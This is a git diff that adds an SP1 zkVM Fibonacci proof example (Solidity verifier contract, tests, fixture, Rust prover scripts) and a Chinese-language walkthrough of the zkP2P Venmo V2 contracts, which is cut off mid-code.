+forge create src/Fibonacci.sol:Fibonacci --rpc-url $RPC_URL --private-key $PRIVATE_KEY --constructor-args $VERIFIER $PROGRAM_VKEY
+```
+
+It can also be a good idea to verify the contract when you deploy, in which case you would also need to set `ETHERSCAN_API_KEY`:
+
+```sh
+forge create src/Fibonacci.sol:Fibonacci --rpc-url $RPC_URL --private-key $PRIVATE_KEY --constructor-args $VERIFIER $PROGRAM_VKEY --verify --verifier etherscan --etherscan-api-key $ETHERSCAN_API_KEY
+```
diff --git a/basic/81-zkVM/sp1/fibonacci/contracts/foundry.toml b/basic/81-zkVM/sp1/fibonacci/contracts/foundry.toml
new file mode 100644
index 000000000..9430db169
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/contracts/foundry.toml
@@ -0,0 +1,7 @@
+[profile.default]
+src = "src"
+out = "out"
+libs = ["lib"]
+fs_permissions = [{ access = "read-write", path = "./" }]
+
+# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options
diff --git a/basic/81-zkVM/sp1/fibonacci/contracts/remappings.txt b/basic/81-zkVM/sp1/fibonacci/contracts/remappings.txt
new file mode 100644
index 000000000..4483f065b
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/contracts/remappings.txt
@@ -0,0 +1 @@
+@sp1-contracts/=./lib/sp1-contracts/contracts/src/
\ No newline at end of file
diff --git a/basic/81-zkVM/sp1/fibonacci/contracts/src/Fibonacci.sol b/basic/81-zkVM/sp1/fibonacci/contracts/src/Fibonacci.sol
new file mode 100644
index 000000000..f66a01f2b
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/contracts/src/Fibonacci.sol
@@ -0,0 +1,44 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import {ISP1Verifier} from "@sp1-contracts/ISP1Verifier.sol";
+
+struct PublicValuesStruct {
+    uint32 n;
+    uint32 a;
+    uint32 b;
+}
+
+/// @title Fibonacci.
+/// @author Succinct Labs
+/// @notice This contract implements a simple example of verifying the proof of a computing a
+///         fibonacci number.
+contract Fibonacci {
+    /// @notice The address of the SP1 verifier contract.
+    /// @dev This can either be a specific SP1Verifier for a specific version, or the
+    ///      SP1VerifierGateway which can be used to verify proofs for any version of SP1.
+    ///      For the list of supported verifiers on each chain, see:
+    ///      https://github.com/succinctlabs/sp1-contracts/tree/main/contracts/deployments
+    address public verifier;
+
+    /// @notice The verification key for the fibonacci program.
+    bytes32 public fibonacciProgramVKey;
+
+    constructor(address _verifier, bytes32 _fibonacciProgramVKey) {
+        verifier = _verifier;
+        fibonacciProgramVKey = _fibonacciProgramVKey;
+    }
+
+    /// @notice The entrypoint for verifying the proof of a fibonacci number.
+    /// @param _proofBytes The encoded proof.
+    /// @param _publicValues The encoded public values.
+    function verifyFibonacciProof(bytes calldata _publicValues, bytes calldata _proofBytes)
+        public
+        view
+        returns (uint32, uint32, uint32)
+    {
+        ISP1Verifier(verifier).verifyProof(fibonacciProgramVKey, _publicValues, _proofBytes);
+        PublicValuesStruct memory publicValues = abi.decode(_publicValues, (PublicValuesStruct));
+        return (publicValues.n, publicValues.a, publicValues.b);
+    }
+}
diff --git a/basic/81-zkVM/sp1/fibonacci/contracts/src/fixtures/fixture.json b/basic/81-zkVM/sp1/fibonacci/contracts/src/fixtures/fixture.json
new file mode 100644
index 000000000..4c31d5e9d
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/contracts/src/fixtures/fixture.json
@@ -0,0 +1,8 @@
+{
+  "a": 6765,
+  "b": 10946,
+  "n": 20,
+  "vkey": "0x00b84bc28cca2115d6299b70825d7ec6117deb3981d1bbf21c3113f92dc18eb5",
+  "publicValues": "0x00000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000001a6d0000000000000000000000000000000000000000000000000000000000002ac2",
+  "proof": "0xc430ff7f260ec07d5bc7aaa7f40ecce2529a1f7517a232cb6dfe71bda5205e79fb0e090e2cf5eb678d03adfef43dec7f919076dd47548321bf853fbe0451fea804169dca04309e083f8ded64c40c4fe018d25495fcadca19e2e3625c5e35c3ac89c71a3f2400618aec42ea7edfd3be3925791298e8b6e803c2e003cbab5259a1a63b2821136de9de013dcaf524aeca92bd77f3463e7925fa7050d02a77f5e8172da74f4a0b3bcb86fed554d084af9c1599f961ba65b4dd60bd02299d11f1b6956d5a403124c78bbed2d3d0c5af2acc79c57a8d9b6e4bb8226abd04ce096050d696fd93f01b26b5a1114ec1c5317c6caca14cc580358ead30bf53234fa5ed3de8023c98e019b9517c2e18ea6c3553a4d8b54a59651897d4bf1afcb73101a5a7295c5e90450ba2f0f71cfd1bb9e910bb97bb56f77118d3732623d8cb9ee792d38b10b080582f7ae4493c42f544af098f40d0948db857731513430f253c8a88f74098e03ffd1a524331e0801cd942b0744ad5f61531203356967e5eeceef0fe47cabcb5bbdb125c57ccfb010e06e9d7e739ddd1810ba61e3aedd7572653829ef3802c5516e921d2db577f969ba667098a71fd398e177ca2513a822a312dcbb9df393fa5572e1c42b34da0b1dd884825474a41940dacc91914a0cf183b55b738be434e744c912560828cbc15f863b35bea8c4a49d14da6f12d8422baa64b5a8b82aea3a6303c12e6782b64aaca45330f1040cc5e0f7bba4036fb5edeab2fddb7d1ab66cd44772a21cd24aab969c3ff1d1a0fcd42befd27d0f26380bfbe968a32b6ca718b75a020908705cf0be21ebb1d9ac5598e0b3eace0b4e43fb6ae8bfb752b7c951a467e1038671e1623d30955d3ad265dcfa28e71fa8739d27c083a0220dd7754acaa730f7b332c26c93cebc0651401459936e2ddbd0b086e67bdca6d6806c581c4458c2831023d95cfd5206c9d51902baff1db01f40ed1e53379c58fd9918b8b4b93240193ec7199608ab490c21208f919cb405a595f9e9a55a950d2aae6b09fe72875256e39a0cc9ea354cbd9b1bb829aca36fc28b7a5d55fc06c9d8f00e693b704292736f75b7556844eb7b96b67cce1f30434aeb2634b0bc36b33be8ba877bbf3a32a6630bd5d99ba8bd21eb9eaf0ea792340e1c8788ba2338725c27cef5a042a0918b200389157bc1352975661991d719f73785015f178f38bb6ec9d7dfb4cb0f7"
+}
\ No newline at end of file
diff --git a/basic/81-zkVM/sp1/fibonacci/contracts/test/Fibonacci.t.sol b/basic/81-zkVM/sp1/fibonacci/contracts/test/Fibonacci.t.sol
new file mode 100644
index 000000000..bcbcf4030
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/contracts/test/Fibonacci.t.sol
@@ -0,0 +1,58 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import {Test, console} from "forge-std/Test.sol";
+import {stdJson} from "forge-std/StdJson.sol";
+import {Fibonacci} from "../src/Fibonacci.sol";
+import {SP1VerifierGateway} from "@sp1-contracts/SP1VerifierGateway.sol";
+
+struct SP1ProofFixtureJson {
+    uint32 a;
+    uint32 b;
+    uint32 n;
+    bytes proof;
+    bytes publicValues;
+    bytes32 vkey;
+}
+
+contract FibonacciTest is Test {
+    using stdJson for string;
+
+    address verifier;
+    Fibonacci public fibonacci;
+
+    function loadFixture() public view returns (SP1ProofFixtureJson memory) {
+        string memory root = vm.projectRoot();
+        string memory path = string.concat(root, "/src/fixtures/fixture.json");
+        string memory json = vm.readFile(path);
+        bytes memory jsonBytes = json.parseRaw(".");
+        return abi.decode(jsonBytes, (SP1ProofFixtureJson));
+    }
+
+    function setUp() public {
+        SP1ProofFixtureJson memory fixture = loadFixture();
+
+        verifier = address(new SP1VerifierGateway(address(1)));
+        fibonacci = new Fibonacci(verifier, fixture.vkey);
+    }
+
+    function test_ValidFibonacciProof() public {
+        SP1ProofFixtureJson memory fixture = loadFixture();
+
+        vm.mockCall(verifier, abi.encodeWithSelector(SP1VerifierGateway.verifyProof.selector), abi.encode(true));
+
+        (uint32 n, uint32 a, uint32 b) = fibonacci.verifyFibonacciProof(fixture.publicValues, fixture.proof);
+        assert(n == fixture.n);
+        assert(a == fixture.a);
+        assert(b == fixture.b);
+    }
+
+    function testFail_InvalidFibonacciProof() public view {
+        SP1ProofFixtureJson memory fixture = loadFixture();
+
+        // Create a fake proof.
+        bytes memory fakeProof = new bytes(fixture.proof.length);
+
+        fibonacci.verifyFibonacciProof(fixture.publicValues, fakeProof);
+    }
+}
diff --git a/basic/81-zkVM/sp1/fibonacci/elf/riscv32im-succinct-zkvm-elf b/basic/81-zkVM/sp1/fibonacci/elf/riscv32im-succinct-zkvm-elf
new file mode 100755
index 000000000..a029b9843
Binary files /dev/null and b/basic/81-zkVM/sp1/fibonacci/elf/riscv32im-succinct-zkvm-elf differ
diff --git a/basic/81-zkVM/sp1/fibonacci/lib/Cargo.toml b/basic/81-zkVM/sp1/fibonacci/lib/Cargo.toml
new file mode 100644
index 000000000..11f9527b7
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/lib/Cargo.toml
@@ -0,0 +1,7 @@
+[package]
+name = "fibonacci-lib"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]
+alloy-sol-types = { workspace = true }
diff --git a/basic/81-zkVM/sp1/fibonacci/lib/src/lib.rs b/basic/81-zkVM/sp1/fibonacci/lib/src/lib.rs
new file mode 100644
index 000000000..f4b1779d6
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/lib/src/lib.rs
@@ -0,0 +1,22 @@
+use alloy_sol_types::sol;
+
+sol! {
+    /// The public values encoded as a struct that can be easily deserialized inside Solidity.
+    struct PublicValuesStruct {
+        uint32 n;
+        uint32 a;
+        uint32 b;
+    }
+}
+
+/// Compute the n'th fibonacci number (wrapping around on overflows), using normal Rust code.
+pub fn fibonacci(n: u32) -> (u32, u32) {
+    let mut a = 0u32;
+    let mut b = 1u32;
+    for _ in 0..n {
+        let c = a.wrapping_add(b);
+        a = b;
+        b = c;
+    }
+    (a, b)
+}
diff --git a/basic/81-zkVM/sp1/fibonacci/program/Cargo.toml b/basic/81-zkVM/sp1/fibonacci/program/Cargo.toml
new file mode 100644
index 000000000..1ca33358e
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/program/Cargo.toml
@@ -0,0 +1,9 @@
+[package]
+version = "0.1.0"
+name = "fibonacci-program"
+edition = "2021"
+
+[dependencies]
+alloy-sol-types = { workspace = true }
+sp1-zkvm = "1.1.0"
+fibonacci-lib = { path = "../lib" }
\ No newline at end of file
diff --git a/basic/81-zkVM/sp1/fibonacci/program/src/main.rs b/basic/81-zkVM/sp1/fibonacci/program/src/main.rs
new file mode 100644
index 000000000..fc35d4afe
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/program/src/main.rs
@@ -0,0 +1,30 @@
+//! A simple program that takes a number `n` as input, and writes the `n-1`th and `n`th fibonacci
+//! number as an output.
+
+// These two lines are necessary for the program to properly compile.
+//
+// Under the hood, we wrap your main function with some extra code so that it behaves properly
+// inside the zkVM.
+#![no_main]
+sp1_zkvm::entrypoint!(main);
+
+use alloy_sol_types::SolType;
+use fibonacci_lib::{fibonacci, PublicValuesStruct};
+
+pub fn main() {
+    // Read an input to the program.
+    //
+    // Behind the scenes, this compiles down to a custom system call which handles reading inputs
+    // from the prover.
+    let n = sp1_zkvm::io::read::<u32>();
+
+    // Compute the n'th fibonacci number using a function from the workspace lib crate.
+    let (a, b) = fibonacci(n);
+
+    // Encode the public values of the program.
+    let bytes = PublicValuesStruct::abi_encode(&PublicValuesStruct { n, a, b });
+
+    // Commit to the public values of the program. The final proof will have a commitment to all the
+    // bytes that were committed to.
+    sp1_zkvm::io::commit_slice(&bytes);
+}
diff --git a/basic/81-zkVM/sp1/fibonacci/rust-toolchain b/basic/81-zkVM/sp1/fibonacci/rust-toolchain
new file mode 100644
index 000000000..3415d6b9d
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/rust-toolchain
@@ -0,0 +1,3 @@
+[toolchain]
+channel = "1.79.0"
+components = ["llvm-tools", "rustc-dev"]
\ No newline at end of file
diff --git a/basic/81-zkVM/sp1/fibonacci/script/Cargo.toml b/basic/81-zkVM/sp1/fibonacci/script/Cargo.toml
new file mode 100644
index 000000000..dcc126bba
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/script/Cargo.toml
@@ -0,0 +1,30 @@
+[package]
+version = "0.1.0"
+name = "fibonacci-script"
+edition = "2021"
+default-run = "fibonacci"
+
+[[bin]]
+name = "fibonacci"
+path = "src/bin/main.rs"
+
+[[bin]]
+name = "evm"
+path = "src/bin/evm.rs"
+
+[[bin]]
+name = "vkey"
+path = "src/bin/vkey.rs"
+
+[dependencies]
+sp1-sdk = "1.1.0"
+serde_json = { version = "1.0", default-features = false, features = ["alloc"] }
+serde = { version = "1.0", default-features = false, features = ["derive"] }
+clap = { version = "4.0", features = ["derive", "env"] }
+tracing = "0.1.40"
+hex = "0.4.3"
+alloy-sol-types = { workspace = true }
+fibonacci-lib = { path = "../lib" }
+
+[build-dependencies]
+sp1-helper = "1.1.0"
diff --git a/basic/81-zkVM/sp1/fibonacci/script/build.rs b/basic/81-zkVM/sp1/fibonacci/script/build.rs
new file mode 100644
index 000000000..bc5f02597
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/script/build.rs
@@ -0,0 +1,5 @@
+use sp1_helper::build_program_with_args;
+
+fn main() {
+    build_program_with_args("../program", Default::default())
+}
diff --git a/basic/81-zkVM/sp1/fibonacci/script/src/bin/evm.rs b/basic/81-zkVM/sp1/fibonacci/script/src/bin/evm.rs
new file mode 100644
index 000000000..7a8977e3c
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/script/src/bin/evm.rs
@@ -0,0 +1,108 @@
+//! An end-to-end example of using the SP1 SDK to generate a proof of a program that can have an
+//! EVM-Compatible proof generated which can be verified on-chain.
+//!
+//! You can run this script using the following command:
+//! ```shell
+//! RUST_LOG=info cargo run --release --bin evm
+//! ```
+
+use alloy_sol_types::SolType;
+use clap::Parser;
+use fibonacci_lib::PublicValuesStruct;
+use serde::{Deserialize, Serialize};
+use sp1_sdk::{HashableKey, ProverClient, SP1ProofWithPublicValues, SP1Stdin, SP1VerifyingKey};
+use std::path::PathBuf;
+
+/// The ELF (executable and linkable format) file for the Succinct RISC-V zkVM.
+pub const FIBONACCI_ELF: &[u8] = include_bytes!("../../../elf/riscv32im-succinct-zkvm-elf");
+
+/// The arguments for the EVM command.
+#[derive(Parser, Debug)]
+#[clap(author, version, about, long_about = None)]
+struct EVMArgs {
+    #[clap(long, default_value = "20")]
+    n: u32,
+}
+
+/// A fixture that can be used to test the verification of SP1 zkVM proofs inside Solidity.
+#[derive(Debug, Clone, Serialize, Deserialize)]
+#[serde(rename_all = "camelCase")]
+struct SP1FibonacciProofFixture {
+    a: u32,
+    b: u32,
+    n: u32,
+    vkey: String,
+    public_values: String,
+    proof: String,
+}
+
+fn main() {
+    // Setup the logger.
+    sp1_sdk::utils::setup_logger();
+
+    // Parse the command line arguments.
+    let args = EVMArgs::parse();
+
+    // Setup the prover client.
+    let client = ProverClient::new();
+
+    // Setup the program.
+    let (pk, vk) = client.setup(FIBONACCI_ELF);
+
+    // Setup the inputs.
+    let mut stdin = SP1Stdin::new();
+    stdin.write(&args.n);
+
+    println!("n: {}", args.n);
+
+    // Generate the proof.
+    let proof = client
+        .prove(&pk, stdin)
+        .plonk()
+        .run()
+        .expect("failed to generate proof");
+
+    create_plonk_fixture(&proof, &vk);
+}
+
+/// Create a fixture for the given proof.
+fn create_plonk_fixture(proof: &SP1ProofWithPublicValues, vk: &SP1VerifyingKey) {
+    // Deserialize the public values.
+    let bytes = proof.public_values.as_slice();
+    let PublicValuesStruct { n, a, b } = PublicValuesStruct::abi_decode(bytes, false).unwrap();
+
+    // Create the testing fixture so we can test things end-to-end.
+    let fixture = SP1FibonacciProofFixture {
+        a,
+        b,
+        n,
+        vkey: vk.bytes32().to_string(),
+        public_values: format!("0x{}", hex::encode(bytes)),
+        proof: format!("0x{}", hex::encode(proof.bytes())),
+    };
+
+    // The verification key is used to verify that the proof corresponds to the execution of the
+    // program on the given input.
+    //
+    // Note that the verification key stays the same regardless of the input.
+    println!("Verification Key: {}", fixture.vkey);
+
+    // The public values are the values which are publicly committed to by the zkVM.
+    //
+    // If you need to expose the inputs or outputs of your program, you should commit them in
+    // the public values.
+    println!("Public Values: {}", fixture.public_values);
+
+    // The proof proves to the verifier that the program was executed with some inputs that led to
+    // the give public values.
+    println!("Proof Bytes: {}", fixture.proof);
+
+    // Save the fixture to a file.
+    let fixture_path = PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../contracts/src/fixtures");
+    std::fs::create_dir_all(&fixture_path).expect("failed to create fixture path");
+    std::fs::write(
+        fixture_path.join("fixture.json"),
+        serde_json::to_string_pretty(&fixture).unwrap(),
+    )
+    .expect("failed to write fixture");
+}
diff --git a/basic/81-zkVM/sp1/fibonacci/script/src/bin/main.rs b/basic/81-zkVM/sp1/fibonacci/script/src/bin/main.rs
new file mode 100644
index 000000000..33089b154
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/script/src/bin/main.rs
@@ -0,0 +1,91 @@
+//! An end-to-end example of using the SP1 SDK to generate a proof of a program that can be executed
+//! or have a core proof generated.
+//!
+//! You can run this script using the following command:
+//! ```shell
+//! RUST_LOG=info cargo run --release -- --execute
+//! ```
+//! or
+//! ```shell
+//! RUST_LOG=info cargo run --release -- --prove
+//! ```
+
+use alloy_sol_types::SolType;
+use clap::Parser;
+use fibonacci_lib::PublicValuesStruct;
+use sp1_sdk::{ProverClient, SP1Stdin};
+
+/// The ELF (executable and linkable format) file for the Succinct RISC-V zkVM.
+pub const FIBONACCI_ELF: &[u8] = include_bytes!("../../../elf/riscv32im-succinct-zkvm-elf");
+
+/// The arguments for the command.
+#[derive(Parser, Debug)]
+#[clap(author, version, about, long_about = None)]
+struct Args {
+    #[clap(long)]
+    execute: bool,
+
+    #[clap(long)]
+    prove: bool,
+
+    #[clap(long, default_value = "20")]
+    n: u32,
+}
+
+fn main() {
+    // Setup the logger.
+    sp1_sdk::utils::setup_logger();
+
+    // Parse the command line arguments.
+    let args = Args::parse();
+
+    if args.execute == args.prove {
+        eprintln!("Error: You must specify either --execute or --prove");
+        std::process::exit(1);
+    }
+
+    // Setup the prover client.
+    let client = ProverClient::new();
+
+    // Setup the inputs.
+    let mut stdin = SP1Stdin::new();
+    stdin.write(&args.n);
+
+    println!("n: {}", args.n);
+
+    if args.execute {
+        // Execute the program
+        let (output, report) = client.execute(FIBONACCI_ELF, stdin).run().unwrap();
+        println!("Program executed successfully.");
+
+        // Read the output.
+        let decoded = PublicValuesStruct::abi_decode(output.as_slice(), true).unwrap();
+        let PublicValuesStruct { n, a, b } = decoded;
+        println!("n: {}", n);
+        println!("a: {}", a);
+        println!("b: {}", b);
+
+        let (expected_a, expected_b) = fibonacci_lib::fibonacci(n);
+        assert_eq!(a, expected_a);
+        assert_eq!(b, expected_b);
+        println!("Values are correct!");
+
+        // Record the number of cycles executed.
+        println!("Number of cycles: {}", report.total_instruction_count());
+    } else {
+        // Setup the program for proving.
+        let (pk, vk) = client.setup(FIBONACCI_ELF);
+
+        // Generate the proof
+        let proof = client
+            .prove(&pk, stdin)
+            .run()
+            .expect("failed to generate proof");
+
+        println!("Successfully generated proof!");
+
+        // Verify the proof.
+        client.verify(&proof, &vk).expect("failed to verify proof");
+        println!("Successfully verified proof!");
+    }
+}
diff --git a/basic/81-zkVM/sp1/fibonacci/script/src/bin/vkey.rs b/basic/81-zkVM/sp1/fibonacci/script/src/bin/vkey.rs
new file mode 100644
index 000000000..0993301c3
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/script/src/bin/vkey.rs
@@ -0,0 +1,27 @@
+//! A script to print the program verification key.
+//!
+//! You can run this script using the following command:
+//! ```shell
+//! RUST_LOG=info cargo run --bin vkey --release
+//! ```
+
+use sp1_sdk::{HashableKey, ProverClient};
+
+/// The ELF (executable and linkable format) file for the Succinct RISC-V zkVM.
+///
+/// This file is generated by running `cargo prove build` inside the `program` directory.
+pub const FIBONACCI_ELF: &[u8] = include_bytes!("../../../elf/riscv32im-succinct-zkvm-elf");
+
+fn main() {
+    // Setup the logger.
+    sp1_sdk::utils::setup_logger();
+
+    // Setup the prover client.
+    let client = ProverClient::new();
+
+    // Setup the program.
+    let (_, vk) = client.setup(FIBONACCI_ELF);
+
+    // Print the verification key.
+    println!("Program Verification Key: {}", vk.bytes32());
+}
diff --git a/basic/82-zkP2P/README.md b/basic/82-zkP2P/README.md
new file mode 100644
index 000000000..daf64b1bd
--- /dev/null
+++ b/basic/82-zkP2P/README.md
@@ -0,0 +1,2327 @@
+
+## Venmo V2
+
+### 合约
+
+#### 基础数据结构
+
+首先来看基础数据结构，各个数据项是如何定义的。
+
+**AccountInfo**
+
+```rust
+struct AccountInfo {
+        bytes32 venmoIdHash;                // Poseidon hash of account's venmoId
+        uint256[] deposits;                 // Array of open account deposits
+    }
+
+mapping(address => AccountInfo) internal accounts;
+
+accounts[msg.sender].venmoIdHash = venmoIdHash;
+accounts[msg.sender].deposits.push(depositId);
+```
+
+Account 实际上是指以太坊地址和 Venmo 账户的绑定关系。每个 AccountInfo 代表一个以太坊地址与 Venmo 账户的关联。可以看到一个accounts只能对应一个`venmoIdHash`，不过可以有多个以太坊地址都指向同一个`venmoIdHash`。然后每个 AccountInfo 最多可以有 5 个活跃的存款。
+
+**Deposit**
+
+```rust
+struct Deposit {
+	address depositor;                  // Off-ramp的以太坊地址
+	uint256[3] packedVenmoId;          // 打包的 Venmo ID
+	uint256 depositAmount;              // 存入的 USDC 总量
+	uint256 remainingDeposits;          // 剩余可用的 USDC 数量
+	uint256 outstandingIntentAmount;    // 当前被锁定在意图中的 USDC 数量
+	uint256 conversionRate;             // USDC/USD 的转换率
+	bytes32[] intentHashes;             // 所有未完成意图的哈希值数组
+}
+```
+
+举一个例子来看Deposit数据变化情况，假设 Alice 想要出售 1000 USDC，期望获得 1010 USD（Venmo）。
+
+字段的动态变化：
+
+- 当 Bob 发起购买 500 USDC 的意图时：
+
+```
+remainingDeposits: 1000 -> 500
+outstandingIntentAmount: 0 -> 500
+intentHashes: [] -> [bobIntentHash]
+```
+
+- 如果 Bob 的意图过期并被清除：
+
+```
+remainingDeposits: 500 -> 1000
+outstandingIntentAmount: 500 -> 0
+intentHashes: [bobIntentHash] -> []
+```
+
+- 如果 Bob 成功完成交易：
+
+```
+remainingDeposits: 500（不变）
+outstandingIntentAmount: 500 -> 0
+intentHashes: [bobIntentHash] -> []
+```
+
+重要概念：
+1. depositAmount 永远不变，表示最初存入的金额
+2. remainingDeposits + outstandingIntentAmount 总是小于等于 depositAmount
+3. conversionRate 决定了买方需要通过 Venmo 支付多少美元
+4. 每个意图都会锁定一定数量的 USDC，直到意图完成或过期
+
+至于`packedVenmoId`字段为什么用一个长度为3的数组存储而不是用一个uint256存储是因为hash的输入是一个数组形式，是因为Venmo Id一共有19个数据，后续需要算Poseidon hash，如果把这个Venmo Id直接转换成有限域数值，会超出circom 限制，所以要先拆成3个小块，之后再转换。        
+
+```ts
+interface IPoseidon {
+    function poseidon(uint256[3] memory _a) external pure returns(uint256);
+}
+```
+
+**DepositWithAvailableLiquidity**
+
+```rust
+struct DepositWithAvailableLiquidity {
+	uint256 depositId;                  // ID of the deposit
+	bytes32 depositorIdHash;            // Depositor's venmoIdHash 
+	Deposit deposit;                    // Deposit struct
+	uint256 availableLiquidity;         // Amount of liquidity available to signal intents (net of expired intents)
+}
+```
+
+这个结构实际上是一个辅助结构，主要用于查询和展示目的。它把一个 Deposit 的核心信息和当前可用流动性打包在一起。
+
+让我们通过一个例子来理解：
+- 假设有一个存款：
+- 总存款额(depositAmount) = 1000 USDC
+- 剩余存款(remainingDeposits) = 400 USDC
+- 未完成意图金额(outstandingIntentAmount) = 500 USDC
+- 其中有一个过期的意图锁定了 300 USDC
+那么这个 DepositWithAvailableLiquidity 会是：
+
+```js
+{
+    depositId: 1,
+    depositorIdHash: "0x...",  // 存款人的 venmoIdHash
+    deposit: {
+        depositor: "0x...",
+        packedVenmoId: [...],
+        depositAmount: 1000,
+        remainingDeposits: 400,
+        outstandingIntentAmount: 500,
+        conversionRate: ...,
+        intentHashes: [...]
+    },
+    availableLiquidity: 700    // 400 (remainingDeposits) + 300 (expired intent)
+}
+```
+
+**Intent**
+
+```rust
+struct Intent {
+	address onRamper;                   // On-ramper's address
+	address to;                         // Address to forward funds to (can be same as onRamper)
+	uint256 deposit;                    // ID of the deposit the intent is signaling on（seller）
+	uint256 amount;                     // Amount of USDC the on-ramper signals intent for on-chain
+	uint256 intentTimestamp;            // Timestamp of when the intent was signaled
+}
+```
+
+Intent 代表了买方(on-ramper)想要购买 USDC 的意向。`onRamper`字段表示买方的以太坊地址，用于验证和权限控制，例如：只有 onRamper 可以取消自己的 intent。`deposit`表示目标存款的 ID，方便链接到特定的 Deposit 结构。`intentTimestamp`是intent 创建的时间戳，用于判断 intent 是否过期，过期计算：intentTimestamp + intentExpirationPeriod < 当前时间。
+
+一个用户同时只能有一个活跃的 intent，这个限制是基于 venmoId 的，而不是以太坊地址。这个限制的设计来自如下结构：
+
+```rust
+struct GlobalAccountInfo {
+	bytes32 currentIntentHash;          // Hash of the current open intent (if exists)
+	uint256 lastOnrampTimestamp;        // Timestamp of the last on-ramp transaction used to check if cooldown period elapsed
+	DenyList denyList;                  // Deny list of the account
+}
+
+mapping(bytes32 => GlobalAccountInfo) internal globalAccount;   // Mapping of venmoIdHash to information used to enforce actions across Ethereum accounts
+```
+
+
+#### Registration
+
+首先是注册函数，买方和卖方都需要registration：
+
+```js
+ *
+ * @param _a        Parameter of zk proof
+ * @param _b        Parameter of zk proof
+ * @param _c        Parameter of zk proof
+ * @param _signals  Encoded public signals of the zk proof, contains mailserverHash, fromEmail, userIdHash
+ */
+function register(
+	uint[2] memory _a,
+	uint[2][2] memory _b,
+	uint[2] memory _c,
+	uint[5] memory _signals
+)
+	external
+{
+	require(getAccountVenmoIdHash(msg.sender) == bytes32(0), "Account already associated with venmoId");
+	bytes32 venmoIdHash = _verifyRegistrationProof(_a, _b, _c, _signals);
+
+	accounts[msg.sender].venmoIdHash = venmoIdHash;
+
+	emit AccountRegistered(msg.sender, venmoIdHash);
+}
+```
+
+可以看到注册过程就是建立 AccountInfo 过程。注册流程的主要步骤：
+
+1. 用户提供 ZK 证明，证明他们拥有某个 Venmo 账户
+2. 合约验证这个证明
+3. 如果验证通过，将用户的以太坊地址与 Venmo ID 的哈希值关联起来
+
+看一下`_verifyRegistrationProof`函数如何构造
+
+```js
+function _verifyRegistrationProof(
+	uint256[2] memory _a,
+	uint256[2][2] memory _b,
+	uint256[2] memory _c,
+	uint256[5] memory _signals
+)
+	internal
+	returns(bytes32)
+{
+	bytes32 venmoIdHash = registrationProcessor.processProof(
+		IRegistrationProcessorV2.RegistrationProof({
+			a: _a,
+			b: _b,
+			c: _c,
+			signals: _signals
+		})
+	);
+
+	return venmoIdHash;
+}
+
+IRegistrationProcessorV2 public registrationProcessor; // Address of registration processor contract, verifies registration e-mails
+import { IRegistrationProcessorV2 } from "./interfaces/IRegistrationProcessorV2.sol";
+```
+
+可以看到具体的proof非常简单，是调用一个接口，说明实现不在venom里面，这样设计是一种解耦，venom合约里面就专注于该合约本身的事情，证明逻辑放在其他地方。
+
+来看一下引入的这个接口代码
+
+```ts
+interface IRegistrationProcessorV2 {
+
+    struct RegistrationProof {
+        uint[2] memory a,         // 证明的 α 点
+        uint[2][2] memory b,      // 证明的 β 点
+        uint[2] memory c,         // 证明的 γ 点
+        uint[5] memory signals    // 公开输入信号
+    }
+
+    function processProof(
+        RegistrationProof calldata _proof
+    )
+        external
+    returns (bytes32);
+}
+```
+
+`RegistrationProof`数据结构传入的前3个参数都是 Groth16 算法本身产生的一些验证参数，signals 是公开输入，包含了可以公开验证的信息。在这个具体的实现中，signals 包含了以下信息：
+
+```js
+signals[0]: mailserverKeyHash     // Venmo 邮件服务器的公钥哈希
+signals[1:4]: fromEmail          // 打包的邮件地址（用了3个uint256存储）
+signals[4]: userIdHash           // Venmo 用户 ID 的哈希值
+```
+
+接下来看一下具体的proof函数是如何编写的
+
+```js
+function processProof(
+	IRegistrationProcessorV2.RegistrationProof calldata _proof
+)
+	public
+	override
+	onlyRamp
+	returns(bytes32 userIdHash)
+{
+	require(this.verifyProof(_proof.a, _proof.b, _proof.c, _proof.signals), "Invalid Proof"); // checks effects iteractions, this should come first
+
+	require(isMailServerKeyHash(bytes32(_proof.signals[0])), "Invalid mailserver key hash");
+
+	// Signals [1:4] are the packed from email address
+	string memory fromEmail = _parseSignalArray(_proof.signals, 1, 4);
+	require(keccak256(abi.encodePacked(fromEmail)) == keccak256(emailFromAddress), "Invalid email from address");
+
+	_validateAndAddNullifier(keccak256(abi.encode(_proof)));
+
+	// Signals [4] is the packed onRamperIdHash
+	userIdHash = bytes32(_proof.signals[4]);
+}
+```
+
+该函数的作用如下：
+
+```
+链下：
+1. 用户收到 Venmo 邮件
+2. 使用 ZK 电路生成证明（a, b, c）
+3. 准备公开输入（signals）
+
+链上：
+1. 调用 verifyProof 验证证明
+2. 验证邮件服务器密钥
+3. 验证邮件地址
+4. 提取用户 ID
+```
+
+为什么电路验证完合约还要验证？在于proof可能是假的proof，然后输入的public数据也是假的，联合起来一起欺骗验证电路就可以通过验证，所以需要合约再验证一下输入的public信息是否是真的。
+
+`this.verifyProof`函数使用的是继承自`Groth16Verifier`函数的方法，该方法是由snarkjs生成的，我们不需要去管。
+
+继续向后看`_parseSignalArray()`函数，
+
+```js
+import { StringUtils } from "@zk-email/contracts/utils/StringUtils.sol";
+using StringUtils for uint256[];
+
+function _parseSignalArray(uint256[5] calldata _signals, uint8 _from, uint8 _to) internal pure returns (string memory) {
